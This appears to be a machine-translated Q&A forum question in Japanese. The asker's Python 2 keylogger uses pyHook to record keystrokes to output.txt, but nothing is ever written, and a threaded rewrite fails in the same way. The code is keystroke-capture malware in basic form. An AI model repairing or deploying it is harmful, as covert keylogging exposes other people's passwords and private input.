0
import pythoncom , pyHook, time

temp_keylogs = ''
def OnKeyboardEvent(event):
    global temp_keylogs
    key = chr(event.Ascii)
    temp_keylogs += key

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

while True:
    f = open('output.txt', 'a')
    f.write(temp_keylogs)
    temp_keylogs = ''
    f.close()
    time.sleep(4)

このコードが、4 秒後に実行されたすべてのキーストロークを「output.txt」というファイルに書き込んでいない理由がわかりません。エラーはスローされないので、コンパイルは問題ないと思いますが、ファイルには何も書き込んでいません。

編集:提案されたよう に追加pythoncom.PumpMessages()しましたが、それは本質的に 2 つの while ループを提供します。では、これを行うにはスレッド化が必要ですか?

ここでスレッドバージョンを試しました:

import pythoncom , pyHook, time, thread

temp_keylogs = ''
def OnKeyboardEvent(event):
    global temp_keylogs
    key = chr(event.Ascii)
    temp_keylogs += key

def file_write(temp_keylogs):
    while True:
        print 'yes'
        f = open('output.txt', 'a')
        f.write(temp_keylogs)
        f.close()
        temp_keylogs = ''
        time.sleep(4)

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
try:
    thread.start_new_thread( file_write, (temp_keylogs,) )
    thread.start_new_thread( pythoncom.PumpMessages() )
except:
    print 'thread not started'

しかし、まだファイルに書き込んでいません。だから、私はまだ何が間違っているのか分かりません。

4

1 に答える 1